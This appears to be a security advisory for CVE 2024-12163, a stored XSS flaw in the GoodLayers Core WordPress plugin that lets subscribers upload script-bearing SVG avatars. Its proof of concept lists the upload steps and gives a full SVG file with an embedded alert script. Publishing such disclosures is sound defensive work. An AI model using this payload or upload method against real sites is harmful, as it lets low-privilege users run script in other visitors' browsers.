GoodLayers Core < 2.1.3 – Subscriber+ Stored XSS via SVG Upload | CVE 2024-12163

Description

The plugin allows users with a subscriber role and above to upload SVGs containing malicious payloads.

Proof of Concept

1. On a blog with the plugin installed (for example those with the Travel Tour theme), as a subscriber, view your profile
2. Change your avatar and upload an SVG containing malicious code*
3. Access the SVG at https://example.com/wp-content/uploads/tourmaster-avatar/YYYY/MM/svg.svg
4. See the XSS alert

* Example SVG:

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert('XSS by secureweb.ma');
  </script>
</svg>
```